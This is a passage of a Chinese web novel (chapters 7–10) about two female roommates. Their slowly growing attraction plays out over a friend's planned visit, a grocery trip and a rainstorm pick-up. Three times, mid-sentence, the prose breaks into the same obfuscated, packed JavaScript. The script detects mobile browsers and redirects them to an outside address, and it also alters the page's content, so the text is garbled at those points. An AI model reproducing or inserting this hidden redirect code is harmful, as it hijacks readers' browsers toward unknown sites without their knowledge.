《一觉醒来被暗恋室友表白了》 7. 第 7 章 姜池到底还是没有把这份礼物送出去。 黑白相间的奶牛猫看起来总是很帅,和一身西部风的牛仔服非常搭,腰上还挂着一条绳索。 它看起来那么适合摆在夏云鲤虹彩一样明亮绚丽的房间,而不是她除了衣柜和床头柜就什么都没有的空旷卧室。 姜池托着装玩偶的塑料盒,犹豫片刻,把它放在了床头柜上,挨着白色的素净台灯。 要选一个新的礼物。 小鱼会需要什么? 。 “什么?瓶瓶要来开演唱会!什么?你已经买好票了!”夏云鲤的下巴差点掉到地上,嘴巴张得能吞下一只海豚。 她连忙拽掉脸上的面膜,呸呸两口,“啊啊啊梅子我好爱你!” 手机视频里,一个卷发女生也笑得见牙不见眼,得意中透着一股子憨,“感谢我吧,膜拜我吧,这不过是朕收买人心的手段之一。” 她暗示地扬扬下巴。 “陛下还有什么喜讯要示下吗?”夏云鲤似模似样地拱手,眉毛喜得要飞到天上去,把佞臣的姿态演得活灵活现的。 “是前排!演唱会结束还可以去握手和合照!”梅子叉腰,仰天大笑,不像个皇帝,倒像个大反派。 而夏云鲤就是反派最忠实的狗腿,谄媚得没眼看了。 “正好五一假期,我们还可以在阳城逛一逛,不错吧?” 两个人你来我往地吹捧了好一阵才稍稍停下,梅子揉了揉发酸的下巴,咕哝着抱怨了一句,“上这个破班真是烦死了,我都好长时间没和你聚聚了。” “我也很想你呀。”夏云鲤问,“你几号放假过来,我得问问姜姜,不知道她同不同意带人回来住,要是不行,我们就一起住酒店。” “毕竟我们之前只说过不带男的,没说可不可以带女的。” “你这个室友,我好好奇啊,能不能约着一起吃个饭什么的。”梅子举着手机躺在床上,抓过一根鱿鱼条嚼,“毕竟某人总是夸个没完,不知道还以为神仙下凡了。” “还姜姜,亲密得嘞。” 好友怪声怪气地揶揄调侃,夏云鲤只有无奈的份,“最开始就是为了假装好朋友才故意这么叫的啊。” 梅子一副我都懂的表情,“然后也没改口。” 夏云鲤视线飘忽了一下,“所以你几号放假。” “哎哟,转移话题了,好生硬啊。” “快点说!到底几号!” 姜池去倒水,路过主卧门口,听到隐约的笑闹声从门缝中穿过来,落入耳膜。 脚下微顿,她再次放轻了脚步,仿佛被卧室的小猫附体,也有了走路无声的能力。 可即便如此,也听不清房间内的声音具体在说些什么。 手机在衣兜里震动一下,姜池倏地清醒过来,意识到自己在干什么,大步走到饮水机旁边,接了一杯冷水,一口气喝干。 “你烧水了吗?” 夏云鲤刚走到客厅就看到姜池怔怔地站在饮水机旁边,端着杯子,仿佛思考着什么宇宙哲学,人生大事,身体还在原地,灵魂已经飞走了。 她绕到餐桌旁,拿起自己的马克杯,这人还是呆呆的,沉浸在自己的世界里。 倒不是她非要打扰人,只是姜池正好把饮水机挡住,她不得不出声。 话音刚落,姜池整个人都震了一下。 “怎么了?你刚刚问我什么?” 夏云鲤:“你烧水了吗?刚刚想什么呢,这么出神,我没吓到你吧?” 话是这样说,可看这人的反应,就知道答案是肯定的。 感到一点愧疚,她轻轻咳了一声。 “没烧。”姜池向后退了两步,握着水杯的手微微收紧,面色却如常,“想教案的事,不小心走神了。” “没想到大学也要写教案,一定麻烦死了吧、”夏云鲤丝毫没有怀疑,在她看来,姜池长得就是一副不会说谎的样,人更是正直的代名词。 何况这种日常闲聊,也没什么说假话的必要嘛。 她按下烧水的按钮,在电器加热的咕噜声里问道:“有一件事想和你商量一下。” 姜池抿了抿唇,低声说:“好。” “对不起。” “五一假期我……” 两个人同时开口,又同时闭上。 夏云鲤诧异又茫然,眼睛啪一下张大了,手里的杯子都差点掉下去,害得她原地耍了一段抛接杂耍。 “什么什么,什么对不起?” “你在说什么呢?” 姜池看起来竟然比她还要迟疑,“你不是要说……吃烤肉那时候的事吗?” “不是啊……我闺蜜五一放假想过来,我们一起看演唱会,我是想问你介不介意她来跟我住。” 夏云鲤追问:“烤肉怎么……啊!那不是已经过去了吗,而且不是我的问题吗,你为什么道歉呢?” “我说话的语气不好。”姜池眼帘微垂,又抬起,深黑的眼瞳静静凝视着她,像一汪林中深潭,歉意则是落在水面的树叶,荡起层层涟漪。 “有吗?”夏云鲤更是一头雾水,“不是挺好的吗……” 想不到姜池看起来成熟稳重,竟然是这么敏感的一个人。 她的心里忽然软了一块,好似一下触及到了对方藏起来的,不为人知的一面。 “明明是我有点没边界感,不要说来说去反倒成了你的问题了。” 夏云鲤估量着对方的神色,好像瞧不出认同的意思,毕竟她一直没回应。 想了想说:“不然,我们再彼此道一次歉,就把这件事揭过去?” “好。”姜池说,郑重地像在宣誓,“我很抱歉,下次一定会注意。” “我也要对你说一声对不起,是我没考虑太多。” 夏云鲤双手在身前拍了一下,“好啦,翻篇!” “朋友之间就是要互相磨合一下嘛。” 热水烧开,饮水机发出短促的一声滴,她重新拿起水杯给自己接了杯热水,“你要来一杯吗?对了,差点忘了,就是我闺蜜要来住的事,从4月29到5月3号,一共四个晚上。” “有一点久,如果不方便的话,我们就出去住酒店。” “在家住,她睡哪儿?”姜池说着,目光不着痕迹地瞥向浅蓝色的沙发,大致估算了一下它的宽度。 恐怕不适合睡觉。 “和我睡一起呀。”夏云鲤自然地说,“我们晚上绝对不会大吵大闹,她的卫生习惯也很好。但我一定要来问一下你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035926|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意见,毕竟我们才是室友。” “如果你觉得不适合的话,一定要说哦,我们住哪儿都行。” 姜池沉默,夏云鲤有点难从这张没什么大表情的脸上读出她心里的想法,基本都靠猜的。 片刻后,她听到一声嗯。 “在家住吧,方便。” “姜姜,你真好!我们保证不会打扰到你的。” 夏云鲤芜湖一声,高高兴兴地端着杯子回房了。 在她身后,姜池静静望着她的背影,唇角紧抿,手臂自然垂下,拇指却在一遍遍摩挲着食指指节,重复了很久。 。 周末,夏云鲤难得睡了一次懒觉,主要是昨晚上和闺蜜研究了好久的游玩项目,又东扯西扯,甚至还在购物车里加了好几双登山鞋,比平时晚睡很久。 错过了早餐时间,不知道姜池吃没吃饭。 不过冰箱里还有吐司,她应该饿不着自己。 伸了个懒腰,夏云鲤慢吞吞地踩着拖鞋去洗漱,等她收拾好出来,正好撞到从卧室里走出的姜池。 头发凌乱,一看就是才从床上爬起来。 “你也才起?!” 不怪她惊讶,姜大博士的作息规律到她曾经一度以为这人是未来穿越回来的仿生人,虽然开玩笑的,但真的很夸张。 在她面前,夏云鲤都不好意思说自己自律了。 姜池深深看她一眼,“早安。” “早呀早呀。”夏云鲤连忙让开,“你快去洗漱吧,我去做早饭。” 卫生间里,姜池掬起一捧水扑到脸上,看着镜中人眼下隐约的青黑,轻轻叹了口气。 心情好,做饭也想搞出一点花样来。 夏云鲤翻出磨具,煎了好几个爱心蛋,再加上鸡排、烤肠、培根、虾仁,一锅出。 早餐吃吐司,自己加馅,她还切了黄瓜片和西红柿片,洗干净的生菜装了一盘。又拌了一盆蔬菜沙拉。 “你今天有什么安排吗,还是和平时一样,在家呆着?” 她给自己夹了一份馅料堪比豪华汉堡的吐司,挤上番茄酱,随意问道。 “你呢?”姜池把问题抛了回来。 “我得去一趟超市,补充冰箱,再买点菜。”夏云鲤说。 “我也去吧。”姜池抬眸,和她目光相撞,“不能总待在家里,正好还能帮着拎东西。” “好呀,我有很多东西要买呢。” 夏云鲤一一细数着要买的家居用品,怕自己忘记,又按开手机,在备忘录记下。 上午的日光明亮璀璨,照在她的发丝上,人也变得宛若蜜糖,朦朦胧胧的,仿佛加了一层日剧里惯用的柔光滤镜。 温馨。 姜池垂着眼,认真聆听。 去超市不是出门玩,不用费心打扮,套好外出的衣服就可以出发了。 两人并肩走在小区的石板路上,微风阵阵,树叶哗啦作响。 姜池仿佛很随意地开口,“你和你的闺蜜认识很久了吗?” “对呀,我们小学就认识了。” 夏云鲤像是被提醒到,“是哦,我还没和你介绍她呢,她叫梅子,是我最好的朋友!” 最好的朋友。姜池无声重复着这几个字,没有说话。 8. 第 8 章 夏云鲤和乔梅是在小学认识的。 五年级,班上忽然来了一位新同学,就是乔梅,但那时候她们并不熟,初中也没有考同一所学校,巧的是高中又遇到了,这才熟悉起来。 乔梅是个很有活力的人,她就像个太阳,用自己的光照耀着周围所有事物。 夏云鲤正是被改变的其中之一。 高中她上的是寄宿学校,但本市人仍旧可以办理走读,她当然要回家。下了晚自习到家快九点,赶不上准备晚饭,没关系,早饭就是专门留给她干的。 日常的清洗衣物、房间打扫,也是她的活。 还有最重要的,带弟弟。 她家里不算很贫困,父母都有工作,可这些年一直攒不下多少积蓄,都用来调养身体备孕,等到夏子龙出生,家里的钱还是不能动,得留着给他买房。 或者说,只是夏云鲤不能动。 她的衣服最新的一件是姨妈买的,而那已经是两年前的事情。 青春期的女生个子拔高,要长身体,她的鞋子不合脚,提了五次,才得到一双新鞋,被骂索命鬼和赔钱货数不清多少次。 校服盖掉了所有的不合身,乔梅不同意她故意少吃的做法,说她瘦得像竹竿,执意要每天和她分享早餐奶。过生日的时候,拿出自己攒下的零花钱,给她买衣服当礼物。 而这只是她帮助自己的所有事情中,最微不足道的一件。 夏云鲤说着她们高中大学时的趣事,略过了所有不开心的部分,讲她们一起去游乐园,去鬼屋,去野餐,去看日出。 说她们的友谊多么坚固,多么珍贵,说她们以前对未来的设想,现在已经实现了很多。 她实在太兴奋,想把梅子介绍给新朋友,说了一箩筐的好话,却没注意到旁边人的话越来越少。 只是附和。 一直走到超市,她才意犹未尽地停下。 “你们的感情真好。”姜池声音平稳地说。 她握上超市的门把手,猛地向后一拽,指尖因用力微微泛白。 玻璃大门向外拉开,音乐声、人声混在一处,瀑布一样冲刷耳膜。 姜池:“快进来,外面风大。” “哦哦,来了。” 今天有风吗?夏云鲤纳闷,是自己刚刚太专注说话,没注意吧。 她踩上台阶,眼角余光扫过行道树,绿叶葱郁,一动不动。 广播里放的正好是她会的歌,夏云鲤跟着哼了两句,拉出手推车,刚走两步,突然拍了一下购物车的推手。 “啊!我又忘了,梅子说想和你一起吃饭呢。” 夏云鲤期待地望着姜池,眉头轻轻扬起一点,一双杏眼眨也不眨地盯着对方,嘴角噙着笑。 手掌却不自觉握紧,连自己都没察觉到正在紧张。 姜池的眼睛黑白分明,目光沉静,可好像和平时的那种无波无澜并不相同,她分辨不出。 但这人最终还是点了下头。 “可以,具体时间等她到了再约?” “好呀。” 完成一桩心事,夏云鲤轻松不少,推着手推车在货架间穿梭,期间左看右看,注意力被商品吸引着。 梅子的话题大概是告一段落了。姜池一直抿着的唇角终于放松下来,她跟在人身后,目光落到室友晃动的发尾上,觉得它像一把无序却有魔力的扫帚,带动空气泛起波纹,一路震荡到她的心海。 梅子……她轻轻咀嚼着这个名字,眉头又不着痕迹地蹙起来。 “对了,家里的纸你用着还习惯吗?”路过摆放卫生纸的货架,夏云鲤停下来问。 “很好用。”姜池立刻回答。 “那就好,纸还是网上买便宜,那个牌子也是我用了很久觉得还不错的一款。” 夏云鲤平时在家的时间多一些,也经常去超市购物,所以补充家居用品的责任就放在了她的身上。 两个人有一笔共同资金,专门用来购买这些东西,因为她出了力,姜池就多出一些钱。 这人觉得这样才算公平。 “买一瓶酱油,两袋盐,再来两袋榨菜吧。”夏云鲤嘴上念叨,手上也没闲着。 “鸡蛋要买吗?”姜池指着柜台上成袋的红皮蛋白皮蛋问。 “不在这儿买。”夏云鲤往她耳边凑过去,说悄悄话似的,“这里的鸡蛋比街对面那家贵,一会儿我们去对面买。” 吐息温热,随她一起靠过来的,还有一丝似浅却浓的蜜桃甜香,那是夏云鲤身体乳的味道。 她每天洗完澡都会涂,然后像一个行走的蜜罐子,连路过的空气都留下香味,甜得仿佛能凭空挤出糖来。 姜池静静呼吸,好似一个不会动的雕像杵在原地,仿佛她要是稍微挪动一下,夏云鲤卷翘的睫毛就会扫到她的侧脸。 方才的波动忽然换成了另一种涟漪。 “平时都辛苦你了。” “还好呀,我喜欢购物,不觉得辛苦。”夏云鲤笑着说,“花钱多快乐。” 她半真半假地吐槽,“要不是这样,攒钱也不会这么困难。” 姜池很想说点心灵鸡汤安慰她一下,但想到夏云鲤缤纷多彩的购物习惯,话就和麦芽糖一样黏住了喉咙,怎么都张不开嘴了。 顿了顿,她选择转移话题,“牙膏在哪个区域?我想买个新牙膏。” “右边。”夏云鲤抬手指过去,“再往前走几个货架就是了,你去吧,我想想买什么油。” “稻米油,花生油,菜籽油,芝麻油……”她嘀咕着,衡量它们的味道,忽地笑了一下,“不知道收集癖和选择恐惧症要怎么办,连食用油都搞出这么多花样来,真是的。” 说完,她拿了一瓶葵花籽油放进推车里。 同选好牙膏的姜池汇合,两个人又在零食区逛了逛,夏云鲤补充了一些酸奶和芝士,又买了一些耐嚼小零食,就一起去结账了。 各付各的。 但姜池把购物袋拎了过去。 “你不是还要买菜?拎着东西挑不方便吧。”她说。 夏云鲤被说服了。 街对面的地利生鲜更有菜市场的氛围,它挨着美食城,人来人往,非常热闹。 之前有懒得做饭的时候,夏云鲤就会过来随便吃点面条盒饭,买个卷饼应付过去。 只不过和姜池合租以后,她再没故意偷懒过,她喜欢给姜池做菜,投喂她。 “你有没有想吃的菜呀?” “桃子。”姜池脱口而出,又连忙在尾音未断的时候接上,“果冻。” “也可以做。”夏云鲤想了下,“家里应该还有吉利丁片来着,不过这个不是菜,是甜点小零食,你喜欢吃果冻吗,之前没听你提过呢。” “还有别的想吃的吗?” 她歪着头,眼中隐隐透着鼓励,好像不管自己提出什么要求,这人都会无条件答应一样,姜池突然觉得烦躁。 一股气在胸膛里横冲直撞,像受惊的螃蟹,没来由,连她自己也觉得莫名其妙。 夏云鲤还在望着她,等一个回答。 姜池转过头,断掉两人的视线接触,去看菜摊,第一个闯入她视野的是摊位上红彤彤的西红柿。 “只是突然想到。”她咬了咬牙关,状似镇定地开口,“还有的话,西红柿吧。” “番茄!好巧,它是我我最爱的菜,番茄炒蛋,番茄牛腩,番茄粉丝煲,番茄各种面,番茄豆腐煲……”夏云鲤说贯口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035927|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的直接就报出了一堆菜名,不知道的还以为她是学说相声的。 她兴冲冲地走向摊位,问摊主要了袋子,已经准备好了要大干一场。 姜池换手提购物袋,张开手掌甩了甩,试图让风吹掉掌心的汗湿。又把眼镜摘下来重新戴上,意图用这样的小动作来摆脱心中不明的烦扰。 遗憾的是,作用不大。 “说起来,你喜欢生吃番茄吗?” 还好,来自夏云鲤的问话比这些尝试都要管用,她快步跟过去,回答:“大学的时候,有一个同学选了番茄品种培育,吃过很多古怪的番茄。” “……我不太想承认那些东西叫番茄。” 夏云鲤扑哧一下就笑了出来,“是什么样儿的啊,很难吃吗?” “有绿色的,扁的,粉的,还有长条形像茄子的,味道都很奇怪。” 姜池皱着眉,仿佛回忆起这件事都是让人很不愉快的经历。 “噫!这都什么乱七八糟的。”夏云鲤皱起鼻子,身为厨师的丰富联想能力在此刻发挥了巨大作用,她感觉自己的舌头都开始奇怪起来了。 “姜姜,你好惨啊。” “还好,我不挑食。” 说话的人面色认真,冷笑话威力十足。 夏云鲤被击中得毫无防备,笑到捂住肚子。 姜池的唇角也动了动,方才的烦躁感已然消失无踪。她垂下眸,拿起一颗番茄放进袋里。 下一秒就被夏云鲤原样拿了出去。 “这个不软。”手的主人随口说,没用几分钟就挑好了一袋番茄递给老板,扭头一看,室友向来没大表情的脸上透着一股严肃意味,又摸起一个猛瞧,似乎要看出来这些圆圆番茄有什么区别。 夏云鲤眼眸弯起,用手肘碰了碰她,地下党接头似的努了努嘴。 等付完账,两个人走到下一个摊位,才轻笑着说:“西红柿要选汁水多的,沙瓤的,你拿的那种虽然也成熟了,但是外皮很硬,是远距离运输过来的外省番茄,想要存放时间长,就得舍弃掉一些优点,没什么番茄味。” “摸起来软硬适中,像这样底下有绿色的,就是自然成熟的番茄,表皮上面还带点点,它叫沙点,有沙点的番茄会更好吃,也就是有番茄味儿。” 她耸了耸肩,“不过嘛,完全成熟就意味着不耐放,各有优劣。” 姜池一副学到新知识的模样,“原来选番茄也有这么多学问,你很厉害,懂得很多。” “好歹我也是个美食博主呢。”夏云鲤叉着腰,眉目间的欢欣和得意藏都藏不住。 “再去买个南瓜吧,还有牛肉,晚上吃番茄炖牛腩好了。” “我还有一些关于南瓜和牛肉的挑选技巧,姜大博士记得准备好夸奖稿,不要说重了。”她扬着下巴睨人一暗,跟国王似的傲慢,谁料下一秒就破功,笑得东倒西歪。 “还有桃子。”姜池目光柔和,晕开笑意,提醒。 “好哦,我记着呢。” 不管是牛肉,还是南瓜,都是分量十足的种类,在加上一些葱姜蒜,夏云鲤提满了袋子,收获颇丰。 没走出两步,就听姜池说:“我们换着拎吧,这个轻一点。” “不用的,这个不沉,你就拎那一个好啦。” 姜池看了看那两个贝贝南瓜,很难相信她的话。好歹她也是学农的,没少下地伺候苗,总比夏云鲤的力气大吧。 她再一次指着那两个南瓜提出请求。 夏云鲤只好把袋子递过去。 下一秒,姜池的手猛地向下一沉。 她看了看装南瓜的塑料袋,又看了看单手拎着一大堆东西,并且神色如常的室友。 露出怀疑人生的表情。 9. 第 9 章 长久以来,在姜池的印象里,她的室友是一个蜜桃泡芙,微胖的体型,肉却长得恰到好处,往该去的地方去,只会让人觉得丰腴可爱,也很有诱惑力。 声音更是甜得像蜜,软得像糖。 她不懂什么眼型的区别,只知道夏云鲤有一双眼尾微微下垂的双眸,望着人时总带着点无辜,睫毛很浓,又很翘,双眼皮非常漂亮。 但姜池提着手里令人怀疑重量的购物袋,有种很想捏捏自己胳膊上肌肉的冲动。 她不敢相信,夏云鲤的力气比她更大。 自己好歹也是干过活的人,竟然不如一个甜妹? 她在客厅待的时间比以往更多了。 夏云鲤的日常很有条理,拍摄、剪辑,伺候多肉,刷刷视频,看不出来什么特殊,也没什么需要用力气的地方。 直到姜池有一次在这人炒菜的时候走进厨房,打算拿一瓶汽水,看到蜜桃泡芙正在单手颠勺。 她拎过炒锅,是纯铁的,非常沉。 而这样一个大炒锅在夏云鲤的手里,简直和泡沫玩具一般轻巧,几乎看不出重量。 她定在原地,鞋底仿佛被胶水黏住了。 夏云鲤的动作行云流水,锅铲与炒锅的叮当碰撞声,菜在油锅内的滋滋声与吸油烟机的翁鸣声,共同谱成一曲盛大的乐章。 厨师就在乐声中将视线投过来,面色如桃瓣,瞧不见一点汗水。 “姜姜?” 姜池骤然回神。 夏云鲤:“傻站着干什么呢?” 冰凉的金属罐让她手心微湿,姜池把它抬起晃了一下,“拿瓶水。” 她走出厨房,再次捏了捏自己的胳膊,一脸恍惚。 。 春末夏初,最是多雨,刚晴了没两天,看天气预报又是一连串的中雨。 夏云鲤喜欢雨天,天地万物都被笼罩在一层铅灰浓雾里,朦胧模糊,雨声越大,越是安静,耳边只有一连串的脆响,和自己的心声。 她拖着懒人沙发去阳台,盘腿坐在里面,听着大自然的白噪音,昏昏欲睡。 忽然一道闷雷炸响,惊得她一个激灵,瞌睡虫也被吓跑。 温柔连绵的小雨突然变成雷阵雨,雨势急促,几乎要把窗玻璃都撞破。夏云鲤抬头的时机恰好,正好看到又一道闪电在云层中劈开,过了几秒,雷声接踵而至。 她抓起手机,看了一眼时间。 还有十来分钟就到了姜池下班的点了。 【别去超市买芝麻了,这个不着急用,直接回家吧,雨好大】 姜池的消息立刻就回复过来:【好,我要晚一点回去,晚饭你先吃,不用等我】 夏云鲤:【要加班吗】 姜池:【不是,我忘记带伞,等雨停再回家】 夏云鲤下意识去看天气预报,一直到晚上十一点都是有雨,难道她要睡在办公室不成? 说了一句等我,她匆忙披上外套,又不忘再拽一件,抄起伞就出门了。 雨滴噼里啪啦地砸在伞面上,高跟的凉鞋踩在石砖上,咚咚的响声和雨声混在一起,不分彼此。 平时步行十来分钟的路程,像是被加长了不少。 自己早上应该提醒过姜池记得带伞吧? 姜池这么严谨的人,也会忘记带伞吗? 还是说,是她忘说了。 夏云鲤甚至觉得后一种的可能性更大,比起一个究极自律的人突然出状况,她宁愿相信是自己的记忆出了问题。 雨丝被冷风吹着糊到小腿上,她不觉得冷,一门心思想要走得更快一些。 姜池第五次看向窗外。 雨线将天地连成一片,把人都变成磨砂玻璃后的模糊影子,只能看到一个个或深或浅的人影从中走过,仿佛被水晕开的油画。 她低头,手机还停留在聊天界面,两个字,简洁得要命,却像一颗从地狱里钻出来的会发芽的种子,带着灼热滚烫的温度,往她心口里钻。 姜池心里不想奢望或是期待些什么,可频繁望向操场的目光另有说法。 自从十四岁父母意外去世,她再没有享受过被人接送的待遇。 小姨和姨父对她很好,变故发生后,将她接过来抚养,可他们有自己的孩子。表妹小她十岁,正是上幼儿园的年纪,需要人照看。 两位长辈都是教职工,平时工作已经很累,还要轮流接送表妹,姜池怎么能开口,说要他们也来送自己。 她已经十四了,上初中的年纪,自己坐公交来回,还能得到一句懂事的夸赞。 懂事,听话,是她必须佩戴在身上的标签。 “你还不走吗?”柳婷婷背起挎包,路过她的办公桌,调侃地说,“平时一到下班时间第一个就跑了,怎么今天还坐着,教案没写完?” 姜池昨天就写完了这一周的份,但她还是点了下头,“对,还差一点。” “别待太久了,雨越来越大,一会儿不好回家。”柳婷婷拿起雨伞抖开,抱怨道,“下雨必定堵车,我还不知道什么时候才能到家,到家了又得自己做饭。” “不说了,又开始羡慕你了,搞得我也想找个室友,走啦。” 互相道了拜拜,办公室彻底空了下来,姜池坐在原地,垂眸向楼下看,不多时,一片浅黄色的伞盖在雨幕里撑开,像一棵蘑菇,朝着停车场的位置走过去。 距离收到消息已经过了十五分钟。 姜池起身,走到饮水机旁,刚要接水,发现自己两手空空,没拿水杯。 闭了闭眼,她又坐了回去。 她的嘴巴并不渴,只是心焦。 姜池再次拿起手机,向上滑了滑。 和夏云鲤的聊天记录并不算多,不一会儿就能把一周的消息都看完,多数是分享一些看到的猫狗视频。 它们要么调皮捣蛋,要么乖巧可爱,不管是哪一种,只要顶着一张毛绒绒的小脸嘤嘤叫,就很难不让人心软。 夏云鲤很喜欢这些小动物,也很爱玩手机,她经常按来按去,笑盈盈的。就算是两个人面对面相处,这也绝对是一个话多的人。 她的话没和自己说,又是和谁说了。 深吸一口气,姜池摘下眼镜,抬手捏上眉心。 突然,一道铃声打破寂静,她倏地睁开眼,刚看清手机屏幕上跳动的来电名字,手就已经按下了接通键。 “喂,小鱼。” “姜姜,你来和门卫说一下,让我进去。” 声音经过手机略显失真,期盼的面容也一闪而过,就对上了门卫那张熟悉的老脸,可姜池仍旧像是被泡进一锅咕嘟嘟冒气的热汤里,四肢都泛着暖。 解释清楚情况,她挂断电话,立刻把东西都收拾整齐,拎起包来到门口,一副随时都能出发的样子。 站了一会儿,她抿了下唇,又坐回自己的工位上,把那些东西从包里掏了出来,拿出一支笔,打开本子,做出正在忙的模样。 笔尖悬停在笔记本上方,没能落下一道痕迹。姜池叹了口气,把丢掉的笔帽捡回来扣好,又将东西挨个装回,重新站到门口。 她就是很期待,没必要假装。 操场依旧人来人往,一个个五颜六色的伞盖朝着宿舍、食堂和大门三个方向移动,就像三条河流。 只有一个伞盖,脱离了队伍,向教职工办公室的位置,向着她所在的位置靠近。 姜池拎起包冲下楼,每走一步,都像是踩在棉花上一样轻快。 先撞入眼帘的,是白色雨伞顶的小小爱心,握着伞柄的白皙手掌。 磅礴雨幕中,来人好似一道劈开深灰水雾的利刃,穿透失焦的模糊画册,成了唯一明亮的色彩。 “姜姜!” 夏云鲤踏入屋檐,收起雨伞,向外甩了甩,伞面的积水像一颗颗玻璃珠被抖出去。 “等很久了吗?” 她从雨中来,说的话好似也带着潮湿水汽,落到姜池耳中,显得不够分明。 又或许,只是因为她的注意力放在对方颈侧沾着的湿黑发丝,水淋淋的小腿肚,润红仿佛樱桃的唇肉,忽略了其它感官。 好在对方也不需要回答,自顾自地继续说下去,“我给你带了一件外套,不过是从我的衣柜里拿的。不然你还是先穿上,短袖容易着凉哦。” 两人身高相仿,衣服尺码差不了太多。 考虑到姜池的喜好,就算着急,夏云鲤也挑了一件黑色的外衣,没有选更花哨的颜色。 姜池接过衣服,披在身上,低声说了句谢谢。 “我怎么能把你自己一个人留在办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035928|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公室呢。”夏云鲤把伞递过去,“走吧,我今天炖了羊汤,驱寒的。” 去的时候是一个伞盖,回来时变成了两个,一黑一白,紧紧挨着。 暴雨像是要夺走人的氧气,一阵急过一阵,路灯提前亮起,化作一个个小灯塔。 又是一辆车急匆匆驶过,溅起膝盖那么高的水墙,朝两边扑过去。 夏云鲤哎哟一声,躲闪不及,脚面被泼。 “没事吧?”姜池皱了下眉,回过头去看,那辆车已经走远了。 “没事没事,我特意穿的凉鞋,不怕湿。”夏云鲤摆摆手,“而且本来就已经湿啦,回去洗个澡就行。” “……我好像没见过你生气。” “车都跑了,我能怎么办呢,自己生闷气会掉头发的。”夏云鲤爱怜地摸了摸自己过腰的柔顺长发,“所以我会劝自己说,车里是孕妇,着急去医院,顾不上减速。” “不过如果不是的话,那就祝他爆胎吧。”她耸了耸肩。 礼让行人是写在交通法规里的,况且前面不远就是人行横道,所有车辆都在减速,就它一个狂冲过去。 夏云鲤只是脾气好,又不是真活菩萨下凡,被泼了一身水还要选择原谅。 姜池拢了下领口,呼吸着外套上浅淡的薰衣草香,唇角微微勾了一点。 她本来是打算把车牌号记下,然后举报的。 风大雨大,回到家,夏云鲤一身衣服湿了一半,头发稍都在滴水。 “你快去洗澡。”姜池把两把雨伞都接过来,拿去阳台晾着。 夏云鲤也不跟她谦让了,毕竟这人穿的是裤子,她光腿,因为着急,睡衣都没换,这么一路走回来,双腿冰冰凉凉。 就算身体好,也不能这样耗。 她小跑着冲进浴室,发尾淌下一路的水痕。 姜池把外套小心地挂好,指腹轻轻蹭过衣摆,又换下自己一身湿衣服,直接放进洗衣机里。 响彻天地的雨声被窗户隔开,也变得朦胧起来,不像大鼓,倒像提琴。 她的眉目舒展着,来到厨房,将电饭锅抱到桌上,再拧开煤气灶的开关,给锅里的汤重新加热。 大理石的灶台干净透亮,映出她眼底的愉悦,和耳垂尚未完全褪去的一丝浅红。 将重新煮开的汤盛出,端到餐桌上,浴室里水声已经停了。 姜池:“饭好了。” “马上!” 门被推开,走出来的人却没有穿戴整齐,头发海藻似的散开,皮肤润红,一滴水珠沿着鬓角坠向锁骨,被卡在那里,不肯再滚落下去。 而她的身体,被浴巾松松垮垮地裹着,一双手正提着边角,左右调整,试图将它卷好。 两人迎面撞在一起,夏云鲤的手僵着,过了好几秒,她牵出一抹笑,“忘拿睡衣了,再等我一下下哦。” 说完,她转身走向卧室,头也不回。 姜池怔立原地,仿佛被美杜莎看了一眼,石化当场,说不出一个字。 明明夏云鲤平时的穿着也很大胆随意,吊带配短裤,胳膊腿都露在外面,还有细腰和半个胸口,这段时日见得多了,她已经不像最开始那样连瞧一眼都不敢。 明明浴巾裹起来的部分,比睡衣还多,直筒似的,从胸口遮到大腿,没露出什么,她却像是被毒哑了,麻翻了,面颊腾一下烧起来,好似有火在骨缝里烤。 幸好室友已经回房,看不到她这一面。 姜池三步并两步冲入浴室,拧开洗手池的水龙头,想要泼点冷水到脸上,可她一进来,湿热甜香的水汽就张牙舞爪地钻入她的鼻腔。 情况不仅没好,反而更糟糕。 跑回房,伸手猛地拽下来一件睡衣,连弹飞的衣架都不顾上捡,再度冲回浴室,吧嗒把门锁上。 她决定也洗个澡,时间够长,够这些反应消掉。 卧室外兵荒马乱,卧室内,夏云鲤靠在门板上,再也不能维持平静的神色,大口大口做深呼吸。 她捂着胸口,感觉心脏要撞破肋骨直接跳出来,撞得她手心都发疼。 “没什么好害羞的啊,又不是没穿衣服,浴巾不也是衣服吗。”她小声咕哝着,但熟透石榴般的面颊让这句话很没有说服力。 还好刚洗了澡,脸红也看不出来。 10. 第 10 章 在羊汤凉透前,两个人终于吃上了这顿迟来的晚饭。 夏云鲤仍有一点不自在。 “要不要看个电影?”她摸出遥控器问。 姜池同意了。 电视正对着沙发,餐桌的位置并不方便看,夏云鲤就把平板拿了过来,问过对方后,选了一部自己一直想看却没看的歌舞片。 